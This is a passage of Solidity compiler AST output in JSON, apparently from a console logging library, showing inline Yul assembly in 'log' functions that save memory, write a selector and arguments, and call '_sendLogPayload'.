298344:3:22","nodeType":"YulIdentifier","src":"298344:3:22"},"nativeSrc":"298344:13:22","nodeType":"YulFunctionCall","src":"298344:13:22"}],"functionName":{"name":"shl","nativeSrc":"298333:3:22","nodeType":"YulIdentifier","src":"298333:3:22"},"nativeSrc":"298333:25:22","nodeType":"YulFunctionCall","src":"298333:25:22"}],"functionName":{"name":"mstore","nativeSrc":"298310:6:22","nodeType":"YulIdentifier","src":"298310:6:22"},"nativeSrc":"298310:49:22","nodeType":"YulFunctionCall","src":"298310:49:22"},"nativeSrc":"298310:49:22","nodeType":"YulExpressionStatement","src":"298310:49:22"}]},"name":"writeString","nativeSrc":"298031:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"298052:3:22","nodeType":"YulTypedName","src":"298052:3:22","type":""},{"name":"w","nativeSrc":"298057:1:22","nodeType":"YulTypedName","src":"298057:1:22","type":""}],"src":"298031:342:22"},{"nativeSrc":"298386:17:22","nodeType":"YulAssignment","src":"298386:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"298398:4:22","nodeType":"YulLiteral","src":"298398:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"298392:5:22","nodeType":"YulIdentifier","src":"298392:5:22"},"nativeSrc":"298392:11:22","nodeType":"YulFunctionCall","src":"298392:11:22"},"variableNames":[{"name":"m0","nativeSrc":"298386:2:22","nodeType":"YulIdentifier","src":"298386:2:22"}]},{"nativeSrc":"298416:17:22","nodeType":"YulAssignment","src":"298416:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"298428:4:22","nodeType":"YulLiteral","src":"298428:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"298422:5:22","nodeType":"YulIdentifier","src":"298422:5:22"},"nativeSrc":"298422:11:22","nodeType":"YulFunctionCall","src":"298422:11:22"},"variableNames":[{"name":"m1","nativeSrc":"298416:2:22","nodeType":"YulIdentifier","src":"298416:2:22"}]},{"nativeSrc":"298446:17:22","nodeType":"YulAssignment","src":"298446:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"298458:4:22","nodeType":"YulLiteral","src":"298458:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"298452:5:22","nodeType":"YulIdentifier","src":"298452:5:22"},"nativeSrc":"298452:11:22","nodeType":"YulFunctionCall","src":"298452:11:22"},"variableNames":[{"name":"m2","nativeSrc":"298446:2:22","nodeType":"YulIdentifier","src":"298446:2:22"}]},{"nativeSrc":"298476:17:22","nodeType":"YulAssignment","src":"298476:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"298488:4:22","nodeType":"YulLiteral","src":"298488:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"298482:5:22","nodeType":"YulIdentifier","src":"298482:5:22"},"nativeSrc":"298482:11:22","nodeType":"YulFunctionCall","src":"298482:11:22"},"variableNames":[{"name":"m3","nativeSrc":"298476:2:22","nodeType":"YulIdentifier","src":"298476:2:22"}]},{"nativeSrc":"298506:17:22","nodeType":"YulAssignment","src":"298506:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"298518:4:22","nodeType":"YulLiteral","src":"298518:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"298512:5:22","nodeType":"YulIdentifier","src":"298512:5:22"},"nativeSrc":"298512:11:22","nodeType":"YulFunctionCall","src":"298512:11:22"},"variableNames":[{"name":"m4","nativeSrc":"298506:2:22","nodeType":"YulIdentifier","src":"298506:2:22"}]},{"nativeSrc":"298536:17:22","nodeType":"YulAssignment","src":"298536:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"298548:4:22","nodeType":"YulLiteral","src":"298548:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"298542:5:22","nodeType":"YulIdentifier","src":"298542:5:22"},"nativeSrc":"298542:11:22","nodeType":"YulFunctionCall","src":"298542:11:22"},"variableNames":[{"name":"m5","nativeSrc":"298536:2:22","nodeType":"YulIdentifier","src":"298536:2:22"}]},{"nativeSrc":"298566:17:22","nodeType":"YulAssignment","src":"298566:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"298578:4:22","nodeType":"YulLiteral","src":"298578:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"298572:5:22","nodeType":"YulIdentifier","src":"298572:5:22"},"nativeSrc":"298572:11:22","nodeType":"YulFunctionCall","src":"298572:11:22"},"variableNames":[{"name":"m6","nativeSrc":"298566:2:22","nodeType":"YulIdentifier","src":"298566:2:22"}]},{"nativeSrc":"298596:17:22","nodeType":"YulAssignment","src":"298596:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"298608:4:22","nodeType":"YulLiteral","src":"298608:4:22","type":"","value":"0xe0"}],"functionName":{"name":"mload","nativeSrc":"298602:5:22","nodeType":"YulIdentifier","src":"298602:5:22"},"nativeSrc":"298602:11:22","nodeType":"YulFunctionCall","src":"298602:11:22"},"variableNames":[{"name":"m7","nativeSrc":"298596:2:22","nodeType":"YulIdentifier","src":"298596:2:22"}]},{"nativeSrc":"298626:18:22","nodeType":"YulAssignment","src":"298626:18:22","value":{"arguments":[{"kind":"number","nativeSrc":"298638:5:22","nodeType":"YulLiteral","src":"298638:5:22","type":"","value":"0x100"}],"functionName":{"name":"mload","nativeSrc":"298632:5:22","nodeType":"YulIdentifier","src":"298632:5:22"},"nativeSrc":"298632:12:22","nodeType":"YulFunctionCall","src":"298632:12:22"},"variableNames":[{"name":"m8","nativeSrc":"298626:2:22","nodeType":"YulIdentifier","src":"298626:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"298726:4:22","nodeType":"YulLiteral","src":"298726:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"298732:10:22","nodeType":"YulLiteral","src":"298732:10:22","type":"","value":"0xb3a6b6bd"}],"functionName":{"name":"mstore","nativeSrc":"298719:6:22","nodeType":"YulIdentifier","src":"298719:6:22"},"nativeSrc":"298719:24:22","nodeType":"YulFunctionCall","src":"298719:24:22"},"nativeSrc":"298719:24:22","nodeType":"YulExpressionStatement","src":"298719:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"298763:4:22","nodeType":"YulLiteral","src":"298763:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"298769:2:22","nodeType":"YulIdentifier","src":"298769:2:22"}],"functionName":{"name":"mstore","nativeSrc":"298756:6:22","nodeType":"YulIdentifier","src":"298756:6:22"},"nativeSrc":"298756:16:22","nodeType":"YulFunctionCall","src":"298756:16:22"},"nativeSrc":"298756:16:22","nodeType":"YulExpressionStatement","src":"298756:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"298792:4:22","nodeType":"YulLiteral","src":"298792:4:22","type":"","value":"0x40"},{"kind":"number","nativeSrc":"298798:4:22","nodeType":"YulLiteral","src":"298798:4:22","type":"","value":"0x80"}],"functionName":{"name":"mstore","nativeSrc":"298785:6:22","nodeType":"YulIdentifier","src":"298785:6:22"},"nativeSrc":"298785:18:22","nodeType":"YulFunctionCall","src":"298785:18:22"},"nativeSrc":"298785:18:22","nodeType":"YulExpressionStatement","src":"298785:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"298823:4:22","nodeType":"YulLiteral","src":"298823:4:22","type":"","value":"0x60"},{"kind":"number","nativeSrc":"298829:4:22","nodeType":"YulLiteral","src":"298829:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mstore","nativeSrc":"298816:6:22","nodeType":"YulIdentifier","src":"298816:6:22"},"nativeSrc":"298816:18:22","nodeType":"YulFunctionCall","src":"298816:18:22"},"nativeSrc":"298816:18:22","nodeType":"YulExpressionStatement","src":"298816:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"298854:4:22","nodeType":"YulLiteral","src":"298854:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"298860:2:22","nodeType":"YulIdentifier","src":"298860:2:22"}],"functionName":{"name":"mstore","nativeSrc":"298847:6:22","nodeType":"YulIdentifier","src":"298847:6:22"},"nativeSrc":"298847:16:22","nodeType":"YulFunctionCall","src":"298847:16:22"},"nativeSrc":"298847:16:22","nodeType":"YulExpressionStatement","src":"298847:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"298888:4:22","nodeType":"YulLiteral","src":"298888:4:22","type":"","value":"0xa0"},{"name":"p1","nativeSrc":"298894:2:22","nodeType":"YulIdentifier","src":"298894:2:22"}],"functionName":{"name":"writeString","nativeSrc":"298876:11:22","nodeType":"YulIdentifier","src":"298876:11:22"},"nativeSrc":"298876:21:22","nodeType":"YulFunctionCall","src":"298876:21:22"},"nativeSrc":"298876:21:22","nodeType":"YulExpressionStatement","src":"298876:21:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"298922:4:22","nodeType":"YulLiteral","src":"298922:4:22","type":"","value":"0xe0"},{"name":"p2","nativeSrc":"298928:2:22","nodeType":"YulIdentifier","src":"298928:2:22"}],"functionName":{"name":"writeString","nativeSrc":"298910:11:22","nodeType":"YulIdentifier","src":"298910:11:22"},"nativeSrc":"298910:21:22","nodeType":"YulFunctionCall","src":"298910:21:22"},"nativeSrc":"298910:21:22","nodeType":"YulExpressionStatement","src":"298910:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":43606,"isOffset":false,"isSlot":false,"src":"298386:2:22","valueSize":1},{"declaration":43609,"isOffset":false,"isSlot":false,"src":"298416:2:22","valueSize":1},{"declaration":43612,"isOffset":false,"isSlot":false,"src":"298446:2:22","valueSize":1},{"declaration":43615,"isOffset":false,"isSlot":false,"src":"298476:2:22","valueSize":1},{"declaration":43618,"isOffset":false,"isSlot":false,"src":"298506:2:22","valueSize":1},{"declaration":43621,"isOffset":false,"isSlot":false,"src":"298536:2:22","valueSize":1},{"declaration":43624,"isOffset":false,"isSlot":false,"src":"298566:2:22","valueSize":1},{"declaration":43627,"isOffset":false,"isSlot":false,"src":"298596:2:22","valueSize":1},{"declaration":43630,"isOffset":false,"isSlot":false,"src":"298626:2:22","valueSize":1},{"declaration":43596,"isOffset":false,"isSlot":false,"src":"298769:2:22","valueSize":1},{"declaration":43598,"isOffset":false,"isSlot":false,"src":"298894:2:22","valueSize":1},{"declaration":43600,"isOffset":false,"isSlot":false,"src":"298928:2:22","valueSize":1},{"declaration":43602,"isOffset":false,"isSlot":false,"src":"298860:2:22","valueSize":1}],"id":43632,"nodeType":"InlineAssembly","src":"298008:933:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":43634,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"298966:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"3078313034","id":43635,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"298972:5:22","typeDescriptions":{"typeIdentifier":"t_rational_260_by_1","typeString":"int_const 260"},"value":"0x104"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_260_by_1","typeString":"int_const 260"}],"id":43633,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"298950:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":43636,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"298950:28:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":43637,"nodeType":"ExpressionStatement","src":"298950:28:22"},{"AST":{"nativeSrc":"298997:273:22","nodeType":"YulBlock","src":"298997:273:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"299018:4:22","nodeType":"YulLiteral","src":"299018:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"299024:2:22","nodeType":"YulIdentifier","src":"299024:2:22"}],"functionName":{"name":"mstore","nativeSrc":"299011:6:22","nodeType":"YulIdentifier","src":"299011:6:22"},"nativeSrc":"299011:16:22","nodeType":"YulFunctionCall","src":"299011:16:22"},"nativeSrc":"299011:16:22","nodeType":"YulExpressionStatement","src":"299011:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"299047:4:22","nodeType":"YulLiteral","src":"299047:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"299053:2:22","nodeType":"YulIdentifier","src":"299053:2:22"}],"functionName":{"name":"mstore","nativeSrc":"299040:6:22","nodeType":"YulIdentifier","src":"299040:6:22"},"nativeSrc":"299040:16:22","nodeType":"YulFunctionCall","src":"299040:16:22"},"nativeSrc":"299040:16:22","nodeType":"YulExpressionStatement","src":"299040:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"299076:4:22","nodeType":"YulLiteral","src":"299076:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"299082:2:22","nodeType":"YulIdentifier","src":"299082:2:22"}],"functionName":{"name":"mstore","nativeSrc":"299069:6:22","nodeType":"YulIdentifier","src":"299069:6:22"},"nativeSrc":"299069:16:22","nodeType":"YulFunctionCall","src":"299069:16:22"},"nativeSrc":"299069:16:22","nodeType":"YulExpressionStatement","src":"299069:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"299105:4:22","nodeType":"YulLiteral","src":"299105:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"299111:2:22","nodeType":"YulIdentifier","src":"299111:2:22"}],"functionName":{"name":"mstore","nativeSrc":"299098:6:22","nodeType":"YulIdentifier","src":"299098:6:22"},"nativeSrc":"299098:16:22","nodeType":"YulFunctionCall","src":"299098:16:22"},"nativeSrc":"299098:16:22","nodeType":"YulExpressionStatement","src":"299098:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"299134:4:22","nodeType":"YulLiteral","src":"299134:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"299140:2:22","nodeType":"YulIdentifier","src":"299140:2:22"}],"functionName":{"name":"mstore","nativeSrc":"299127:6:22","nodeType":"YulIdentifier","src":"299127:6:22"},"nativeSrc":"299127:16:22","nodeType":"YulFunctionCall","src":"299127:16:22"},"nativeSrc":"299127:16:22","nodeType":"YulExpressionStatement","src":"299127:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"299163:4:22","nodeType":"YulLiteral","src":"299163:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"299169:2:22","nodeType":"YulIdentifier","src":"299169:2:22"}],"functionName":{"name":"mstore","nativeSrc":"299156:6:22","nodeType":"YulIdentifier","src":"299156:6:22"},"nativeSrc":"299156:16:22","nodeType":"YulFunctionCall","src":"299156:16:22"},"nativeSrc":"299156:16:22","nodeType":"YulExpressionStatement","src":"299156:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"299192:4:22","nodeType":"YulLiteral","src":"299192:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"299198:2:22","nodeType":"YulIdentifier","src":"299198:2:22"}],"functionName":{"name":"mstore","nativeSrc":"299185:6:22","nodeType":"YulIdentifier","src":"299185:6:22"},"nativeSrc":"299185:16:22","nodeType":"YulFunctionCall","src":"299185:16:22"},"nativeSrc":"299185:16:22","nodeType":"YulExpressionStatement","src":"299185:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"299221:4:22","nodeType":"YulLiteral","src":"299221:4:22","type":"","value":"0xe0"},{"name":"m7","nativeSrc":"299227:2:22","nodeType":"YulIdentifier","src":"299227:2:22"}],"functionName":{"name":"mstore","nativeSrc":"299214:6:22","nodeType":"YulIdentifier","src":"299214:6:22"},"nativeSrc":"299214:16:22","nodeType":"YulFunctionCall","src":"299214:16:22"},"nativeSrc":"299214:16:22","nodeType":"YulExpressionStatement","src":"299214:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"299250:5:22","nodeType":"YulLiteral","src":"299250:5:22","type":"","value":"0x100"},{"name":"m8","nativeSrc":"299257:2:22","nodeType":"YulIdentifier","src":"299257:2:22"}],"functionName":{"name":"mstore","nativeSrc":"299243:6:22","nodeType":"YulIdentifier","src":"299243:6:22"},"nativeSrc":"299243:17:22","nodeType":"YulFunctionCall","src":"299243:17:22"},"nativeSrc":"299243:17:22","nodeType":"YulExpressionStatement","src":"299243:17:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":43606,"isOffset":false,"isSlot":false,"src":"299024:2:22","valueSize":1},{"declaration":43609,"isOffset":false,"isSlot":false,"src":"299053:2:22","valueSize":1},{"declaration":43612,"isOffset":false,"isSlot":false,"src":"299082:2:22","valueSize":1},{"declaration":43615,"isOffset":false,"isSlot":false,"src":"299111:2:22","valueSize":1},{"declaration":43618,"isOffset":false,"isSlot":false,"src":"299140:2:22","valueSize":1},{"declaration":43621,"isOffset":false,"isSlot":false,"src":"299169:2:22","valueSize":1},{"declaration":43624,"isOffset":false,"isSlot":false,"src":"299198:2:22","valueSize":1},{"declaration":43627,"isOffset":false,"isSlot":false,"src":"299227:2:22","valueSize":1},{"declaration":43630,"isOffset":false,"isSlot":false,"src":"299257:2:22","valueSize":1}],"id":43638,"nodeType":"InlineAssembly","src":"298988:282:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"297755:3:22","parameters":{"id":43603,"nodeType":"ParameterList","parameters":[{"constant":false,"id":43596,"mutability":"mutable","name":"p0","nameLocation":"297767:2:22","nodeType":"VariableDeclaration","scope":43640,"src":"297759:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":43595,"name":"uint256","nodeType":"ElementaryTypeName","src":"297759:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":43598,"mutability":"mutable","name":"p1","nameLocation":"297779:2:22","nodeType":"VariableDeclaration","scope":43640,"src":"297771:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43597,"name":"bytes32","nodeType":"ElementaryTypeName","src":"297771:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":43600,"mutability":"mutable","name":"p2","nameLocation":"297791:2:22","nodeType":"VariableDeclaration","scope":43640,"src":"297783:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43599,"name":"bytes32","nodeType":"ElementaryTypeName","src":"297783:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":43602,"mutability":"mutable","name":"p3","nameLocation":"297800:2:22","nodeType":"VariableDeclaration","scope":43640,"src":"297795:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":43601,"name":"bool","nodeType":"ElementaryTypeName","src":"297795:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"297758:45:22"},"returnParameters":{"id":43604,"nodeType":"ParameterList","parameters":[],"src":"297818:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":43686,"nodeType":"FunctionDefinition","src":"299282:1536:22","nodes":[],"body":{"id":43685,"nodeType":"Block","src":"299357:1461:22","nodes":[],"statements":[{"assignments":[43652],"declarations":[{"constant":false,"id":43652,"mutability":"mutable","name":"m0","nameLocation":"299375:2:22","nodeType":"VariableDeclaration","scope":43685,"src":"299367:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43651,"name":"bytes32","nodeType":"ElementaryTypeName","src":"299367:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43653,"nodeType":"VariableDeclarationStatement","src":"299367:10:22"},{"assignments":[43655],"declarations":[{"constant":false,"id":43655,"mutability":"mutable","name":"m1","nameLocation":"299395:2:22","nodeType":"VariableDeclaration","scope":43685,"src":"299387:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43654,"name":"bytes32","nodeType":"ElementaryTypeName","src":"299387:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43656,"nodeType":"VariableDeclarationStatement","src":"299387:10:22"},{"assignments":[43658],"declarations":[{"constant":false,"id":43658,"mutability":"mutable","name":"m2","nameLocation":"299415:2:22","nodeType":"VariableDeclaration","scope":43685,"src":"299407:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43657,"name":"bytes32","nodeType":"ElementaryTypeName","src":"299407:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43659,"nodeType":"VariableDeclarationStatement","src":"299407:10:22"},{"assignments":[43661],"declarations":[{"constant":false,"id":43661,"mutability":"mutable","name":"m3","nameLocation":"299435:2:22","nodeType":"VariableDeclaration","scope":43685,"src":"299427:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43660,"name":"bytes32","nodeType":"ElementaryTypeName","src":"299427:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43662,"nodeType":"VariableDeclarationStatement","src":"299427:10:22"},{"assignments":[43664],"declarations":[{"constant":false,"id":43664,"mutability":"mutable","name":"m4","nameLocation":"299455:2:22","nodeType":"VariableDeclaration","scope":43685,"src":"299447:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43663,"name":"bytes32","nodeType":"ElementaryTypeName","src":"299447:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43665,"nodeType":"VariableDeclarationStatement","src":"299447:10:22"},{"assignments":[43667],"declarations":[{"constant":false,"id":43667,"mutability":"mutable","name":"m5","nameLocation":"299475:2:22","nodeType":"VariableDeclaration","scope":43685,"src":"299467:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43666,"name":"bytes32","nodeType":"ElementaryTypeName","src":"299467:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43668,"nodeType":"VariableDeclarationStatement","src":"299467:10:22"},{"assignments":[43670],"declarations":[{"constant":false,"id":43670,"mutability":"mutable","name":"m6","nameLocation":"299495:2:22","nodeType":"VariableDeclaration","scope":43685,"src":"299487:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43669,"name":"bytes32","nodeType":"ElementaryTypeName","src":"299487:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43671,"nodeType":"VariableDeclarationStatement","src":"299487:10:22"},{"assignments":[43673],"declarations":[{"constant":false,"id":43673,"mutability":"mutable","name":"m7","nameLocation":"299515:2:22","nodeType":"VariableDeclaration","scope":43685,"src":"299507:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43672,"name":"bytes32","nodeType":"ElementaryTypeName","src":"299507:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43674,"nodeType":"VariableDeclarationStatement","src":"299507:10:22"},{"assignments":[43676],"declarations":[{"constant":false,"id":43676,"mutability":"mutable","name":"m8","nameLocation":"299535:2:22","nodeType":"VariableDeclaration","scope":43685,"src":"299527:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43675,"name":"bytes32","nodeType":"ElementaryTypeName","src":"299527:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43677,"nodeType":"VariableDeclarationStatement","src":"299527:10:22"},{"AST":{"nativeSrc":"299556:927:22","nodeType":"YulBlock","src":"299556:927:22","statements":[{"body":{"nativeSrc":"299599:313:22","nodeType":"YulBlock","src":"299599:313:22","statements":[{"nativeSrc":"299617:15:22","nodeType":"YulVariableDeclaration","src":"299617:15:22","value":{"kind":"number","nativeSrc":"299631:1:22","nodeType":"YulLiteral","src":"299631:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"299621:6:22","nodeType":"YulTypedName","src":"299621:6:22","type":""}]},{"body":{"nativeSrc":"299702:40:22","nodeType":"YulBlock","src":"299702:40:22","statements":[{"body":{"nativeSrc":"299731:9:22","nodeType":"YulBlock","src":"299731:9:22","statements":[{"nativeSrc":"299733:5:22","nodeType":"YulBreak","src":"299733:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"299719:6:22","nodeType":"YulIdentifier","src":"299719:6:22"},{"name":"w","nativeSrc":"299727:1:22","nodeType":"YulIdentifier","src":"299727:1:22"}],"functionName":{"name":"byte","nativeSrc":"299714:4:22","nodeType":"YulIdentifier","src":"299714:4:22"},"nativeSrc":"299714:15:22","nodeType":"YulFunctionCall","src":"299714:15:22"}],"functionName":{"name":"iszero","nativeSrc":"299707:6:22","nodeType":"YulIdentifier","src":"299707:6:22"},"nativeSrc":"299707:23:22","nodeType":"YulFunctionCall","src":"299707:23:22"},"nativeSrc":"299704:36:22","nodeType":"YulIf","src":"299704:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"299659:6:22","nodeType":"YulIdentifier","src":"299659:6:22"},{"kind":"number","nativeSrc":"299667:4:22","nodeType":"YulLiteral","src":"299667:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"299656:2:22","nodeType":"YulIdentifier","src":"299656:2:22"},"nativeSrc":"299656:16:22","nodeType":"YulFunctionCall","src":"299656:16:22"},"nativeSrc":"299649:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"299673:28:22","nodeType":"YulBlock","src":"299673:28:22","statements":[{"nativeSrc":"299675:24:22","nodeType":"YulAssignment","src":"299675:24:22","value":{"arguments":[{"name":"length","nativeSrc":"299689:6:22","nodeType":"YulIdentifier","src":"299689:6:22"},{"kind":"number","nativeSrc":"299697:1:22","nodeType":"YulLiteral","src":"299697:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"299685:3:22","nodeType":"YulIdentifier","src":"299685:3:22"},"nativeSrc":"299685:14:22","nodeType":"YulFunctionCall","src":"299685:14:22"},"variableNames":[{"name":"length","nativeSrc":"299675:6:22","nodeType":"YulIdentifier","src":"299675:6:22"}]}]},"pre":{"nativeSrc":"299653:2:22","nodeType":"YulBlock","src":"299653:2:22","statements":[]},"src":"299649:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"299766:3:22","nodeType":"YulIdentifier","src":"299766:3:22"},{"name":"length","nativeSrc":"299771:6:22","nodeType":"YulIdentifier","src":"299771:6:22"}],"functionName":{"name":"mstore","nativeSrc":"299759:6:22","nodeType":"YulIdentifier","src":"299759:6:22"},"nativeSrc":"299759:19:22","nodeType":"YulFunctionCall","src":"299759:19:22"},"nativeSrc":"299759:19:22","nodeType":"YulExpressionStatement","src":"299759:19:22"},{"nativeSrc":"299795:37:22","nodeType":"YulVariableDeclaration","src":"299795:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"299812:3:22","nodeType":"YulLiteral","src":"299812:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"299821:1:22","nodeType":"YulLiteral","src":"299821:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"299824:6:22","nodeType":"YulIdentifier","src":"299824:6:22"}],"functionName":{"name":"shl","nativeSrc":"299817:3:22","nodeType":"YulIdentifier","src":"299817:3:22"},"nativeSrc":"299817:14:22","nodeType":"YulFunctionCall","src":"299817:14:22"}],"functionName":{"name":"sub","nativeSrc":"299808:3:22","nodeType":"YulIdentifier","src":"299808:3:22"},"nativeSrc":"299808:24:22","nodeType":"YulFunctionCall","src":"299808:24:22"},"variables":[{"name":"shift","nativeSrc":"299799:5:22","nodeType":"YulTypedName","src":"299799:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"299860:3:22","nodeType":"YulIdentifier","src":"299860:3:22"},{"kind":"number","nativeSrc":"299865:4:22","nodeType":"YulLiteral","src":"299865:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"299856:3:22","nodeType":"YulIdentifier","src":"299856:3:22"},"nativeSrc":"299856:14:22","nodeType":"YulFunctionCall","src":"299856:14:22"},{"arguments":[{"name":"shift","nativeSrc":"299876:5:22","nodeType":"YulIdentifier","src":"299876:5:22"},{"arguments":[{"name":"shift","nativeSrc":"299887:5:22","nodeType":"YulIdentifier","src":"299887:5:22"},{"name":"w","nativeSrc":"299894:1:22","nodeType":"YulIdentifier","src":"299894:1:22"}],"functionName":{"name":"shr","nativeSrc":"299883:3:22","nodeType":"YulIdentifier","src":"299883:3:22"},"nativeSrc":"299883:13:22","nodeType":"YulFunctionCall","src":"299883:13:22"}],"functionName":{"name":"shl","nativeSrc":"299872:3:22","nodeType":"YulIdentifier","src":"2998